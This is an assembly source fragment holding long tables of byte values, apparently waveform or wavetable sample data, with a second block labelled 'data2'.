db 0xC4,0xC1,0xC0,0xBF,0xC4,0xC7,0xCB,0xD8,0xEC,0x00,0x0E,0x17,0x1F,0x26,0x2C,0x34,0x3A,0x3B,0x38,0x31,0x25,0x1B,0x16,0x0D,0x07,0x02,0x14,0x22,0x05,0xF7,0xEE,0xD2
db 0xCD,0xBF,0xB9,0xBB,0xC0,0xC9,0xD5,0xE1,0xEE,0xFC,0x08,0x11,0x19,0x1F,0x25,0x2B,0x2F,0x32,0x32,0x2F,0x27,0x1F,0x17,0x0D,0x07,0x02,0x12,0x17,0x07,0x02,0xF2,0xDC
db 0xD8,0xC8,0xBE,0xB9,0xBB,0xC1,0xCC,0xDA,0xE9,0xF8,0x05,0x11,0x1A,0x23,0x2A,0x2F,0x33,0x35,0x35,0x2F,0x28,0x21,0x18,0x0E,0x06,0x04,0x0B,0x09,0x07,0x03,0xF7,0xEA
db 0xC8,0xBC,0xB2,0xAC,0xAC,0xB1,0xBC,0xCB,0xDD,0xF1,0x07,0x18,0x28,0x34,0x3E,0x45,0x48,0x49,0x45,0x3F,0x37,0x2B,0x1F,0x13,0x0D,0x05,0xFF,0xFB,0xF6,0xEE,0xE2,0xD5
db 0xC5,0xBA,0xB1,0xAD,0xAD,0xB2,0xBD,0xCC,0xDE,0xF2,0x06,0x19,0x2B,0x39,0x44,0x4C,0x4F,0x4F,0x4B,0x44,0x3A,0x2E,0x22,0x19,0x0D,0x04,0xFE,0xF7,0xEF,0xE6,0xDB,0xD0
db 0xCD,0xC3,0xBA,0xB6,0xB5,0xB9,0xC2,0xCF,0xDE,0xF0,0x02,0x13,0x24,0x31,0x3C,0x43,0x47,0x47,0x44,0x3E,0x36,0x2B,0x22,0x19,0x0E,0x05,0xFF,0xF9,0xF2,0xEA,0xE1,0xD7
db 0xD4,0xCB,0xC4,0xC1,0xC1,0xC6,0xCE,0xDA,0xE8,0xF8,0x07,0x16,0x21,0x2D,0x36,0x3D,0x40,0x40,0x3C,0x37,0x2E,0x24,0x19,0x11,0x08,0x01,0xFC,0xF7,0xF3,0xED,0xE5,0xDD
db 0xD9,0xD3,0xCB,0xC5,0xC3,0xC4,0xCA,0xD4,0xE0,0xEF,0xFE,0x0D,0x1C,0x28,0x32,0x3A,0x3D,0x3E,0x3B,0x35,0x2D,0x23,0x18,0x0F,0x07,0x00,0xFB,0xF7,0xF3,0xEE,0xE8,0xE0
db 0xDA,0xD5,0xD1,0xCE,0xCD,0xD0,0xD5,0xDD,0xE8,0xF5,0x04,0x12,0x20,0x2D,0x36,0x3D,0x3F,0x3E,0x39,0x31,0x2E,0x23,0x18,0x0D,0x03,0xFB,0xF5,0xF0,0xEC,0xE8,0xE4,0xDF
db 0xDB,0xD8,0xD5,0xD4,0xD5,0xD7,0xD7,0xDC,0xE4,0xEE,0xFA,0x07,0x15,0x21,0x2C,0x34,0x39,0x3A,0x38,0x33,0x2B,0x22,0x18,0x0E,0x05,0xFD,0xF6,0xF0,0xEC,0xE7,0xE3,0xDF
db 0xDF,0xDB,0xD8,0xD7,0xD8,0xDB,0xE0,0xE6,0xED,0xF6,0xFF,0x09,0x11,0x19,0x20,0x24,0x27,0x28,0x26,0x24,0x20,0x1B,0x16,0x19,0x12,0x0B,0x04,0xFD,0xF6,0xEF,0xE9,0xE3
db 0xE6,0xE5,0xE5,0xE6,0xE9,0xED,0xF2,0xF7,0xEB,0xF2,0xF9,0x01,0x08,0x0F,0x15,0x1A,0x1D,0x1F,0x1F,0x1E,0x1C,0x18,0x14,0x0F,0x0A,0x05,0xFF,0xF9,0xF4,0xEF,0xEB,0xE8
db 0xF9,0xF7,0xF6,0xF5,0xF5,0xF5,0xF6,0xF7,0xF9,0xFC,0xFE,0x01,0x03,0x05,0x07,0x08,0x09,0x09,0x09,0x08,0x07,0x06,0x04,0x03,0x01,0xFF,0xFD,0xFC,0x04,0x01,0xFF,0xFC
db 0xFF,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,0xFF,0xFF,0x00,0x00,0x01,0x01,0x01,0x01,0x02,0x03,0x03,0x03,0x03,0x02,0x02,0x01,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0xFF,0xFF
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0xFC,0xFE,0xFF,0x01,0x03,0x05,0x06,0x08,0x0A,0x0C,0x0E,0x0F,0x10,0x11,0x10,0x0E,0x0B,0x08,0x03,0xFE,0xF9,0xF4,0xF1,0xED,0xEB,0xE9,0xE9,0xEA,0xEC,0xEE,0xF9,0xFB
db 0xE4,0xF3,0x01,0x0E,0x1B,0x27,0x2B,0x32,0x38,0x3E,0x43,0x47,0x49,0x49,0x45,0x3D,0x32,0x23,0x0F,0xFA,0xE5,0xD1,0xC0,0xB2,0xA9,0xA4,0xA4,0xA9,0xB1,0xBB,0xC8,0xD5
db 0xE9,0xF8,0x05,0x11,0x1C,0x27,0x30,0x38,0x3F,0x43,0x49,0x4F,0x51,0x53,0x4D,0x44,0x36,0x24,0x0E,0xF6,0xDE,0xC9,0xB8,0xAD,0xA5,0xA3,0xA5,0xAC,0xB5,0xC1,0xCE,0xDC
db 0xF2,0xFF,0x0D,0x19,0x26,0x30,0x3C,0x44,0x4A,0x50,0x4E,0x55,0x57,0x52,0x57,0x46,0x3A,0x25,0x07,0xEC,0xCE,0xB2,0xA0,0x95,0x91,0x93,0x99,0xA6,0xB3,0xC3,0xD3,0xE2
db 0xFA,0x00,0x0B,0x17,0x22,0x2E,0x39,0x43,0x4D,0x52,0x56,0x53,0x52,0x5A,0x49,0x50,0x40,0x2B,0x1B,0xF9,0xDD,0xBD,0xA1,0x8C,0x82,0x81,0x89,0x98,0xAC,0xC1,0xD7,0xEA
db 0x0B,0x1C,0x28,0x2E,0x32,0x34,0x35,0x36,0x39,0x3B,0x3C,0x3D,0x41,0x3D,0x46,0x38,0x32,0x30,0x17,0x04,0xEC,0xD0,0xB2,0x9D,0x8D,0x83,0x87,0x94,0xA6,0xC0,0xDC,0xF4
db 0x03,0x16,0x27,0x32,0x37,0x39,0x3A,0x39,0x37,0x38,0x37,0x35,0x34,0x2F,0x2D,0x32,0x28,0x21,0x1B,0x09,0xF2,0xDB,0xC6,0xAF,0x9B,0x91,0x8B,0x92,0xA1,0xB5,0xCE,0xE9
db 0xF9,0x0B,0x1B,0x29,0x32,0x37,0x3B,0x3E,0x41,0x44,0x44,0x43,0x40,0x3A,0x3C,0x3B,0x32,0x28,0x1B,0x0B,0xEF,0xD4,0xBD,0xA5,0x93,0x87,0x88,0x91,0x9F,0xB3,0xCA,0xE3
db 0x05,0x16,0x24,0x2E,0x35,0x38,0x3A,0x3C,0x3D,0x3F,0x3E,0x3F,0x3C,0x3E,0x41,0x3D,0x33,0x25,0x17,0x01,0xE5,0xCA,0xB1,0x9D,0x8C,0x85,0x88,0x94,0xA6,0xBB,0xD4,0xEE
db 0xFF,0x10,0x1C,0x25,0x2B,0x2F,0x31,0x32,0x34,0x36,0x38,0x39,0x3A,0x3F,0x42,0x40,0x37,0x2B,0x1D,0x09,0xF1,0xD6,0xBE,0xAB,0x9D,0x96,0x96,0x9E,0xAC,0xBE,0xD5,0xEB
db 0xF1,0xFC,0x05,0x0D,0x14,0x19,0x1E,0x24,0x2A,0x30,0x35,0x39,0x40,0x45,0x47,0x43,0x39,0x2D,0x1D,0x09,0xF1,0xD9,0xC4,0xB5,0xAA,0xA5,0xA6,0xAC,0xB7,0xC6,0xD5,0xE4
db 0xED,0xF6,0xFF,0x06,0x0E,0x15,0x1C,0x24,0x2B,0x31,0x36,0x3B,0x41,0x45,0x46,0x41,0x37,0x29,0x18,0x05,0xF1,0xDD,0xCC,0xBE,0xB2,0xAF,0xB1,0xB6,0xBF,0xCA,0xD7,0xE3
db 0xF2,0xF6,0xF9,0xFD,0x02,0x08,0x0F,0x17,0x1F,0x26,0x2C,0x30,0x36,0x3C,0x41,0x40,0x38,0x29,0x16,0x03,0xF1,0xDF,0xD0,0xC5,0xBF,0xC0,0xC6,0xCE,0xD7,0xDF,0xE6,0xED
db 0xF1,0xF1,0xF3,0xF8,0xFE,0x08,0x13,0x1D,0x25,0x2B,0x31,0x33,0x33,0x2E,0x30,0x3A,0x41,0x3D,0x28,0x17,0xFE,0xE7,0xD1,0xBC,0xB0,0xB1,0xBC,0xCA,0xD6,0xE1,0xE9,0xEE
db 0xE9,0xEA,0xEF,0xF6,0x02,0x10,0x1D,0x28,0x2F,0x32,0x32,0x32,0x2E,0x2A,0x24,0x33,0x40,0x3D,0x2F,0x1B,0xFC,0xD5,0xBA,0xA8,0xA5,0xAD,0xBE,0xD1,0xE0,0xE9,0xEA,0xE9
db 0xF0,0xEE,0xEE,0xF7,0x00,0x0E,0x1C,0x2B,0x32,0x38,0x39,0x36,0x32,0x2B,0x25,0x21,0x37,0x2D,0x34,0x25,0x09,0xE9,0xC5,0xAE,0x9E,0xA2,0xAE,0xC5,0xD9,0xEA,0xF1,0xF1
db 0x0A,0x01,0xFF,0xFC,0xFE,0x08,0x12,0x21,0x2C,0x34,0x37,0x33,0x31,0x26,0x20,0x13,0x25,0x1D,0x28,0x21,0x0B,0xF5,0xD0,0xB6,0xA3,0x9E,0xA9,0xBE,0xD8,0xF0,0x01,0x07
db 0x1C,0x18,0x0B,0x06,0xFF,0x03,0x0B,0x17,0x25,0x2B,0x32,0x2D,0x28,0x1D,0x12,0x09,0x16,0x0A,0x25,0x0F,0x10,0xF0,0xD6,0xBA,0xA3,0x9F,0xA7,0xBE,0xDC,0xF9,0x0F,0x1B
db 0x14,0x10,0x0B,0x05,0x05,0x09,0x12,0x1D,0x26,0x2D,0x2E,0x2C,0x24,0x1C,0x0F,0x1A,0x0F,0x23,0x18,0x18,0x06,0xEA,0xD3,0xB5,0xA9,0xA4,0xB0,0xC4,0xDD,0xF6,0x08,0x12
db 0x16,0x17,0x18,0x12,0x13,0x14,0x1A,0x21,0x29,0x2F,0x33,0x31,0x2B,0x22,0x16,0x18,0x10,0x15,0x11,0x0C,0x00,0xE9,0xD1,0xB9,0xA9,0xA2,0xA8,0xB8,0xCE,0xE6,0xFB,0x0B
db 0x05,0x0C,0x12,0x16,0x1B,0x21,0x27,0x2D,0x32,0x34,0x33,0x2E,0x28,0x1F,0x1D,0x17,0x15,0x11,0x0C,0x03,0xF1,0xE0,0xCD,0xBD,0xB3,0xB0,0xB4,0xC0,0xCE,0xDF,0xEF,0xFC
db 0xF7,0x01,0x0B,0x14,0x1E,0x26,0x2C,0x31,0x33,0x32,0x30,0x2D,0x2B,0x26,0x22,0x1D,0x18,0x07,0xFC,0xEF,0xE1,0xD5,0xCB,0xC4,0xC1,0xC2,0xC6,0xCC,0xD4,0xDC,0xE5,0xEE
db 0xF2,0xFB,0x04,0x0D,0x15,0x1C,0x22,0x26,0x29,0x2A,0x2A,0x2A,0x28,0x24,0x1F,0x19,0x11,0x08,0xFE,0xF4,0xEA,0xE1,0xD9,0xD4,0xD0,0xCF,0xD0,0xD2,0xD6,0xDC,0xE2,0xEA
db 0xF4,0xFA,0x01,0x08,0x0E,0x14,0x18,0x1B,0x1E,0x24,0x24,0x23,0x21,0x1F,0x1A,0x15,0x0F,0x07,0xFF,0xF8,0xF0,0xE9,0xE4,0xDF,0xDC,0xDA,0xDB,0xDC,0xDF,0xE3,0xE8,0xED
db 0xFD,0x03,0x07,0x0B,0x0F,0x12,0x10,0x13,0x14,0x15,0x15,0x18,0x19,0x19,0x18,0x15,0x10,0x09,0x01,0xF8,0xF1,0xEB,0xE7,0xE5,0xE5,0xE6,0xE8,0xEB,0xED,0xF1,0xF5,0xF9
db 0x03,0x0A,0x10,0x12,0x17,0x1B,0x1D,0x1D,0x1A,0x17,0x13,0x0E,0x0B,0x0F,0x13,0x16,0x18,0x11,0x06,0xF8,0xE8,0xDA,0xD2,0xCF,0xD2,0xD8,0xDF,0xE6,0xEC,0xF3,0xF8,0xFE
db 0x0A,0x12,0x1A,0x1F,0x23,0x25,0x24,0x22,0x1E,0x19,0x13,0x10,0x0A,0x11,0x15,0x1A,0x1B,0x0F,0x02,0xED,0xDD,0xD2,0xCA,0xCC,0xCE,0xD4,0xD8,0xDC,0xE2,0xE9,0xF8,0x00
db 0x09,0x12,0x1D,0x23,0x29,0x2D,0x2E,0x2F,0x2B,0x27,0x1F,0x1A,0x12,0x11,0x18,0x19,0x1D,0x0F,0x00,0xEB,0xD7,0xCB,0xC1,0xC1,0xC3,0xC6,0xD2,0xD4,0xD9,0xE2,0xEE,0xFB
db 0x07,0x16,0x24,0x2F,0x39,0x40,0x44,0x46,0x42,0x3D,0x35,0x2B,0x22,0x20,0x1D,0x1E,0x18,0x0B,0xFA,0xE6,0xD3,0xC4,0xB6,0xB3,0xB1,0xB4,0xB8,0xBD,0xC6,0xD3,0xE4,0xF6
db 0x39,0x43,0x42,0x37,0x2F,0x26,0x06,0xE3,0xC2,0xB0,0xAE,0xB8,0xD1,0xF0,0x0F,0x2A,0x3D,0x45,0x42,0x35,0x2C,0x23,0x10,0xF1,0xCB,0xB0,0xA7,0xAE,0xC6,0xE6,0x07,0x24
db 0xF4,0x07,0x18,0x28,0x34,0x3F,0x46,0x4B,0x4C,0x4A,0x45,0x3E,0x38,0x31,0x2E,0x27,0x1E,0x13,0x06,0xF6,0xE4,0xD1,0xC0,0xB1,0xA6,0xA0,0xA0,0xA5,0xB0,0xBE,0xCF,0xE1
db 0xF4,0x08,0x1B,0x2D,0x3C,0x48,0x50,0x55,0x56,0x53,0x4B,0x44,0x3B,0x31,0x28,0x1E,0x13,0x08,0xFC,0xEE,0xDE,0xCE,0xBF,0xB2,0xA8,0xA2,0xA1,0xA5,0xAE,0xBB,0xCC,0xDF
db 0x05,0x29,0x46,0x55,0x55,0x48,0x33,0x1A,0xFF,0xE6,0xCF,0xBE,0xB6,0xB9,0xC7,0xDF,0xFC,0x3B,0x51,0x57,0x4D,0x39,0x23,0x0D,0xF7,0xE0,0xC9,0xB5,0xAA,0xAD,0xC0,0xDF
db 0x04,0x10,0x17,0x1B,0x1B,0x18,0x13,0x0B,0x03,0xFB,0xF3,0xED,0xCD,0xD6,0xE7,0xFB,0x0F,0x1F,0x28,0x2A,0x27,0x1F,0x14,0x08,0xFB,0xEF,0xE4,0xDE,0xDC,0xE1,0xEA,0xF7
db 0xFF,0x00,0x02,0x03,0x03,0x04,0x04,0x03,0x03,0x02,0x02,0x01,0x00,0x00,0xFF,0xFF,0xFF,0xFE,0xFF,0xFF,0x00,0xFE,0xFD,0xFC,0xFB,0xFA,0xFA,0xFA,0xFB,0xFC,0xFD,0xFE
db 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
db 0x01,0x01,0x01,0x01,0xFF,0x00,0x01,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x02,0x00,0xFE,0x00,0x01,0x01,0xFF,0x00,0x01,0xFF,0xFE,0xFF,0x00,0xFF,0xFF,0x01,0x00,0xFE
db 0x01,0x03,0x05,0x05,0x06,0x06,0x06,0x07,0x07,0x09,0x0B,0x13,0x11,0x0E,0x0D,0x06,0x01,0xFF,0xFE,0xFD,0xFD,0xFA,0xFA,0xF8,0xF8,0xF9,0xF9,0xF9,0xFB,0xFC,0xFD,0x01
db 0x09,0x16,0x1D,0x23,0x29,0x2B,0x29,0x26,0x23,0x1F,0x1C,0x16,0x1A,0x27,0x1F,0x14,0x08,0xFA,0xEE,0xEE,0xE7,0xDD,0xD5,0xD0,0xCC,0xD0,0xD5,0xDC,0xE3,0xEA,0xF5,0xFF
db 0x0C,0x1D,0x2C,0x31,0x30,0x2C,0x28,0x26,0x22,0x21,0x1D,0x17,0x0D,0x15,0x2C,0x23,0x02,0xEC,0xE1,0xDB,0xE4,0xE6,0xD4,0xC1,0xBC,0xC0,0xCD,0xE0,0xEF,0xF2,0xF4,0xFD
db 0x0C,0x1C,0x2D,0x38,0x35,0x2E,0x28,0x23,0x1F,0x1E,0x1B,0x12,0x05,0x09,0x27,0x29,0x02,0xE2,0xDB,0xD7,0xDC,0xE5,0xDC,0xC5,0xB9,0xBE,0xCB,0xDF,0xF5,0xFF,0xFD,0x00
db 0x16,0x24,0x31,0x3A,0x3C,0x38,0x2F,0x25,0x1F,0x1C,0x19,0x10,0x09,0x17,0x22,0x11,0xF7,0xE8,0xDA,0xCF,0xCF,0xCF,0xC8,0xC0,0xBC,0xBE,0xC7,0xDA,0xF7,0x02,0x07,0x0D
db 0x29,0x35,0x3F,0x46,0x4A,0x4A,0x45,0x3E,0x36,0x2B,0x20,0x17,0x15,0x11,0x09,0x00,0xF8,0xEB,0xDB,0xCC,0xC0,0xB7,0xB2,0xB0,0xB2,0xB9,0xC5,0xD7,0xE9,0xFA,0x0A,0x1B
db 0x57,0x53,0x40,0x29,0x16,0x06,0xF3,0xD4,0xB6,0xA4,0xA9,0xC2,0xE5,0x08,0x25,0x39,0x45,0x47,0x3D,0x2D,0x0F,0x02,0xEF,0xCE,0xAD,0x9A,0xA1,0xBF,0xE8,0x12,0x34,0x4C
db 0x18,0x24,0x2E,0x36,0x3C,0x44,0x44,0x43,0x3D,0x36,0x2C,0x26,0x22,0x1C,0x17,0x13,0x09,0xFC,0xEC,0xD9,0xC7,0xB9,0xAE,0xA9,0xAA,0xB0,0xBB,0xCA,0xDA,0xEA,0xFB,0x0A
db 0x11,0x1C,0x26,0x2E,0x33,0x36,0x36,0x33,0x2C,0x26,0x1B,0x14,0x0C,0x0F,0x12,0x15,0x14,0x0B,0xFC,0xE9,0xD4,0xC4,0xB9,0xB5,0xB8,0xBF,0xCA,0xD7,0xE4,0xF3,0xFF,0x05
db 0x12,0x18,0x20,0x26,0x2C,0x30,0x31,0x2F,0x29,0x1E,0x16,0x0A,0x05,0xFC,0x07,0x0F,0x19,0x1D,0x0E,0xFC,0xDE,0xC3,0xB2,0xAA,0xB4,0xBD,0xCD,0xDD,0xEB,0xF8,0x02,0x0A
db 0x09,0x12,0x1D,0x27,0x2E,0x32,0x31,0x2D,0x24,0x1A,0x0F,0x07,0xFF,0xFD,0xFB,0x0C,0x13,0x21,0x13,0x00,0xE5,0xC6,0xB6,0xAD,0xB7,0xC9,0xDA,0xED,0xF5,0xFB,0xFF,0x02
db 0x09,0x16,0x26,0x2F,0x36,0x36,0x33,0x2C,0x21,0x15,0x0E,0x03,0x01,0xFC,0xFE,0x13,0x12,0x22,0x0D,0xF9,0xDD,0xBE,0xB7,0xAF,0xC2,0xD2,0xE2,0xEF,0xF0,0xF4,0xF5,0xFD
db 0x0A,0x1A,0x27,0x32,0x37,0x3A,0x38,0x33,0x2D,0x21,0x16,0x0D,0x02,0xFF,0xF7,0x09,0x0C,0x16,0x0F,0xF7,0xE4,0xC6,0xBF,0xB7,0xC0,0xCB,0xD2,0xDA,0xDC,0xE4,0xF0,0xFE
db 0x1A,0x27,0x2F,0x37,0x3C,0x40,0x3F,0x3A,0x30,0x21,0x13,0x06,0xFD,0xF4,0xF2,0xFD,0x01,0x0B,0xFC,0xF4,0xDF,0xD6,0xC8,0xC3,0xC7,0xC6,0xCB,0xCB,0xD4,0xE3,0xF6,0x0B
db 0x14,0x22,0x2F,0x39,0x41,0x46,0x46,0x40,0x35,0x26,0x17,0x08,0xFD,0xF2,0xEB,0xF0,0xF6,0xFF,0xFB,0xF5,0xE8,0xE0,0xD6,0xD2,0xCD,0xCC,0xC9,0xC9,0xCF,0xDC,0xF0,0x03
db 0x0A,0x1A,0x2D,0x39,0x42,0x47,0x49,0x43,0x3A,0x2B,0x1D,0x0D,0x01,0xF3,0xEE,0xED,0xF5,0xF5,0xF6,0xEF,0xEB,0xE2,0xDC,0xD4,0xD0,0xCB,0xC9,0xC9,0xCF,0xDA,0xEA,0xFA
db 0x09,0x1A,0x28,0x34,0x3D,0x42,0x44,0x41,0x3A,0x31,0x26,0x1A,0x0C,0x03,0xFE,0xFC,0xFB,0xF9,0xF5,0xF1,0xE8,0xDE,0xD7,0xCE,0xC7,0xC3,0xC1,0xC4,0xCC,0xD9,0xE8,0xF8
db 0x0D,0x1E,0x2D,0x39,0x42,0x47,0x48,0x45,0x3E,0x35,0x29,0x20,0x13,0x08,0x01,0xFC,0xF8,0xF5,0xF2,0xED,0xE5,0xDB,0xD1,0xC8,0xC0,0xBB,0xBB,0xC0,0xCA,0xD7,0xE8,0xFA
db 0x0A,0x1A,0x29,0x36,0x3F,0x45,0x46,0x43,0x3D,0x33,0x27,0x1A,0x0E,0x04,0xFC,0xF5,0xF1,0xED,0xEA,0xE6,0xE1,0xDB,0xD5,0xD0,0xCB,0xC8,0xC9,0xCD,0xD5,0xE0,0xE8,0xF8
db 0x08,0x17,0x24,0x2F,0x38,0x3D,0x3E,0x3C,0x36,0x2D,0x22,0x16,0x0B,0x00,0xF8,0xF1,0xEB,0xE8,0xE8,0xE5,0xE2,0xDE,0xDB,0xD7,0xD4,0xD2,0xD2,0xD4,0xDA,0xE2,0xED,0xFA
db 0x08,0x12,0x1C,0x25,0x2E,0x33,0x36,0x35,0x31,0x2B,0x23,0x19,0x0F,0x05,0xFD,0xF5,0xEF,0xEB,0xE7,0xE4,0xE2,0xE0,0xDE,0xDD,0xDC,0xDC,0xDE,0xE1,0xE5,0xEC,0xF4,0xFE
db 0x06,0x0E,0x15,0x1C,0x21,0x24,0x26,0x25,0x22,0x1E,0x19,0x13,0x0C,0x06,0xFF,0xF9,0xF4,0xF0,0xEC,0xE8,0xE6,0xE4,0xE1,0xDF,0xDF,0xE0,0xE2,0xE5,0xE9,0xEF,0xF6,0xFE
db 0x03,0x02,0x02,0x01,0x01,0x00,0xFF,0xFF,0xFF,0x0B,0x0A,0x09,0x07,0x04,0x02,0xFF,0xFD,0xFB,0xFA,0xF9,0xF9,0xFA,0xFA,0xFB,0xFD,0xFE,0x00,0x01,0x02,0x03,0x03,0x03
CODE
data2:
db 0x08,0x0A,0x0B,0x0D,0x0D,0x0D,0x0D,0x0C,0x0C,0x0A,0x08,0x07,0x05,0x03,0x00,0xFE,0xFB,0xF8,0xF6,0xF3,0xF0,0xEF,0xED,0xEC,0xEB,0xEB,0xEC,0xEE,0xF0,0xF4,0xF8,0xFD
db 0x17,0x24,0x2E,0x35,0x37,0x37,0x34,0x2E,0x27,0x22,0x1B,0x15,0x0F,0x0B,0x07,0x02,0xFD,0xF7,0xF1,0xEB,0xE4,0xDD,0xD5,0xCE,0xC8,0xC3,0xC4,0xD2,0xDC,0xEB,0xFB,0x09
db 0x1B,0x2A,0x34,0x39,0x3A,0x38,0x32,0x2B,0x26,0x20,0x1A,0x14,0x0F,0x0B,0x06,0x03,0xFE,0xF7,0xF1,0xE9,0xE1,0xD8,0xCE,0xC5,0xBC,0xB9,0xC0,0xC8,0xD5,0xE7,0xF9,0x0D
db 0x22,0x34,0x3F,0x43,0x44,0x40,0x38,0x30,0x28,0x21,0x18,0x11,0x0D,0x08,0x05,0x02,0xFE,0xF8,0xF2,0xE9,0xE0,0xD5,0xC9,0xBD,0xB1,0xB1,0xB7,0xBF,0xD1,0xE5,0xFB,0x0F
db 0x26,0x37,0x42,0x47,0x47,0x40,0x36,0x2D,0x26,0x1C,0x13,0x0E,0x0B,0x07,0x05,0x05,0x02,0xFD,0xF7,0xEE,0xE3,0xD6,0xC8,0xB9,0xAE,0xAE,0xB1,0xBC,0xCF,0xE5,0xFB,0x11
db 0x19,0x1D,0x21,0x23,0x20,0x1C,0x1A,0x16,0x16,0x19,0x19,0x16,0x0C,0x04,0x00,0x01,0xFF,0xFB,0xFA,0xF4,0xEA,0xE2,0xD9,0xCC,0xC5,0xCE,0xD3,0xD9,0xEA,0xF8,0x00,0x0E
db 0x1F,0x1A,0x16,0x14,0x09,0x0A,0x0A,0x08,0x11,0x17,0x1A,0x1F,0x1E,0x17,0x15,0x0E,0x07,0x01,0xF9,0xF3,0xE9,0xE0,0xD6,0xCC,0xC2,0xC4,0xD2,0xE2,0xF2,0x0A,0x10,0x19
db 0x1B,0x13,0x0F,0x0B,0x00,0x06,0x05,0x0A,0x15,0x17,0x1F,0x26,0x1F,0x1D,0x17,0x0B,0x09,0x03,0xF9,0xF8,0xEC,0xE0,0xDC,0xCE,0xC2,0xC1,0xD6,0xE3,0xF6,0x0F,0x12,0x1A
